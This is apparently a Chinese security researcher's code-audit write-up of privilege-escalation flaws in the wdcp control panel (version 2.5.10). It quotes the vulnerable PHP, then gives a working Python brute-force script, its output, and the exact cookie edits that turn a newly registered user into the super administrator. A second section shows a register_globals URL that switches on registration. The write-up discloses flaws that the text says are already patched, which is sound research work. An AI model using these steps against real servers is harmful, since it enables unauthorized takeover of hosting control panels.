代码审计之wdcp多处漏洞
之前wdcp出过一个伪造用户登录的漏洞,做了一些分析。看了一些修复后的代码,发现逻辑还是不够严谨。当开启了注册功能的时候,可以直接注册管理员用户,从而获得控制权。目前官方已经发布补丁。
#漏洞影响
影响开启了注册了wdcp系统。主要开启了注册。即可通过特定手段注册一个具有超级管理员权限的用户。或得wdcp系统的完全的管理权限。
#代码分析
分析版本为最新版2.5.10
login.php文件
if (isset($_SESSION['is_l'])) {
$wdcp_user=$_COOKIE['wdcp_user'];
$wdcp_uid=$_COOKIE['wdcp_uid'];
$wdcp_gid=$_COOKIE['wdcp_gid'];
$wdcp_ggid=$_COOKIE['wdcp_ggid'];
$wdcp_us=$_COOKIE['wdcp_us'];
//$wdcp_lt=$_COOKIE['wdcp_lt'];
//session_start();
//print_r($_SESSION);
$wdcp_lt=$_SESSION['is_l'];
/*
if (empty($_COOKIE["wdcp_gid"])) { //20130513
$wdcp_user=$_SESSION['wdcp_user'];
$wdcp_uid=$_SESSION['wdcp_uid'];
$wdcp_gid=$_SESSION['wdcp_gid'];
$wdcp_ggid=$_SESSION['wdcp_ggid'];
$wdcp_us=$_SESSION['wdcp_us'];
}
*/
//echo "wdcp_lt:".$wdcp_lt;echo "<br>";
user_l_check($wdcp_lt);
判断了$_session[‘is_l’]是否存在。这里其实是修复了之前的cookie欺骗漏洞。跟踪一下$_session[‘is_l’]来源:
$wdcp_lt=user_l_check(0);
//setcookie('wdcp_lt',$wdcp_lt,time() + $cookie_time,'/');
//if ($r['gid']==1) {
//session_start();
unset($_SESSION['is_l']);
$_SESSION['is_l']=$wdcp_lt;
$_session[‘is_l’]session中的is_l字段是来自于user_l_check(0)的返回值。跟进该函数:
function user_l_check($ul_str=0) {
global $wdcp_user,$wdcp_uid,$wdcp_gid,$wdcp_us;
$str=substr(md5($wdcp_user.$wdcp_uid),8,6);
//echo $str."<br>";
if ($ul_str==0) {
//echo $str;
//echo $str."<br>";
//$msg=$str."|".$wdcp_user."|".$wdcp_uid."|".$wdcp_gid."|".$wdcp_us;
//file_put_contents(WD_ROOT."/data/1.txt",$msg);
return md5($str.$wdcp_user.$wdcp_uid.$wdcp_gid.$wdcp_us);
}else {
//echo ;
//echo $str."<br>";
//echo $str."|".$wdcp_user."|".$wdcp_uid."|".$wdcp_gid."|".$wdcp_us." 2<br>";
//$msg=$str."|".$wdcp_user."|".$wdcp_uid."|".$wdcp_gid."|".$wdcp_us;
//file_put_contents(WD_ROOT."/data/2.txt",$msg);
$s1=md5($str.$wdcp_user.$wdcp_uid.$wdcp_gid.$wdcp_us);
//echo "1:".$ul_str."|".$s1."<br>";//exit;
//file_put_contents(WD_ROOT."/data/3.txt",$ul_str);
//file_put_contents(WD_ROOT."/data/4.txt",$s1);
if (strcmp($ul_str,$s1)!=0) {
del_cookie();
//echo "login err";
//str_go_url("登录超时!",1);
//exit;
echo '<script language="javascript">alert("登录超时!");parent.location="/"</script>';exit;
//go_back("登录信息错误!");
}
}
return true;
}
如果传入参数为0,则计算出一个md5值。如果传入参数不为零,则把cookie中的值再进行一次相同的md5计算,跟session中的比较,避免cookie欺骗。
这里存在的问题就是if ($ul_str==0),由于php弱类型的特性。 ‘0a’ == 0 结果是True。所以,如果注册一个用户,该用户的$_session[‘is_l’]这个md5值是类似于’0aslkdjflskjdflsldsdfsdf’ 这种形式,就可以绕过cookie检查,直接return。进入到后面的程序逻辑中。
根据$_session[‘is_l’]的计算方法。写了一个python脚本:
import hashlib
for i in range(1000,1099):
uid = 5
md5_data = hashlib.md5(str(i)+str(uid)).hexdigest()
# print md5
# print md5[8:9]
md5_data2 = hashlib.md5(md5_data[8:14] + str(i) + str(uid) + '10' +'2').hexdigest()
if md5_data2[:1] == '0' and md5_data2[1:2].isdigit() == False:
print md5_data2
print i
这里uid=5,uid是递增的,可以预测。其他的参数都是固定的比如gid是10。计算结果:
➜ pentest python wdcp.py
0c8affdaefae4f2420e9782c9307f4c9
1003
0cc72de60b257d2d7e7bdcacd988dfb7
1066
还是非常容易的。这里省略了很多。以1066为用户名注册用户。登录之后,修改cookie
PHPSESSID=7f998efdf6fd84f5f7452e2ed470ae0c; wdcp_user=9995; wdcp_uid=5; wdcp_gid=10; wdcp_ggid=10; wdcp_us=2
修改为:
PHPSESSID=7f998efdf6fd84f5f7452e2ed470ae0c; wdcp_user=admin; wdcp_uid=1; wdcp_gid=1; wdcp_ggid=1; wdcp_us=2
即可获得wdcp系统的超级管理员权限。
#变量覆盖导致注册用户
由于wdcp默认关闭注册,所以想尝试一下看看有没有漏洞可以开启注册。结果真的找到一个register_global on条件下的变量覆盖,导致可以开启注册。但是由于wdcp自身的php环境和网站的php环境是分开的。而且默认情况下没有开启全局变量。所以导致十分鸡肋。纯碎技术研究了。
register通过判断变量is_reg是否为1来开启注册功能。但是这个变量没有进行恰当的初始化。
if ($is_reg==0) go_back("未开放注册");
默认情况下没有进行初始化,只有点击开启注册并保存之后才会进行初始化。所以,如果register_global on的情况下,可以覆盖变量进行注册。
http://192.168.199.138/wdcp/register.php?is_reg=1